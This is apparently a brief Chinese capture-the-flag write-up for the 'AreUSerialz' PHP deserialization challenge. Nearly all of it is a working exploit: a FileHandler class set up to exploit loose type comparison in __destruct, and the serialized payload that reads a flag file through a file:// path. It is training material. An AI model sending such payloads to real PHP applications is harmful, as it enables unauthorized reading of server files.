AreUSerialz
根据代码，直接读，刚开始还以为那个过滤要绕，结果不需要。
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| <?php
class FileHandler {
public $op=2;
public $filename="file:///web/html/flag.php";
function __construct() {
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
$str = new FileHandler();
echo serialize($str);
|
O:11:”FileHandler”:2:{s:2:”op”;i:2;s:8:”filename”;s:25:”file:///web/html/flag.php”;}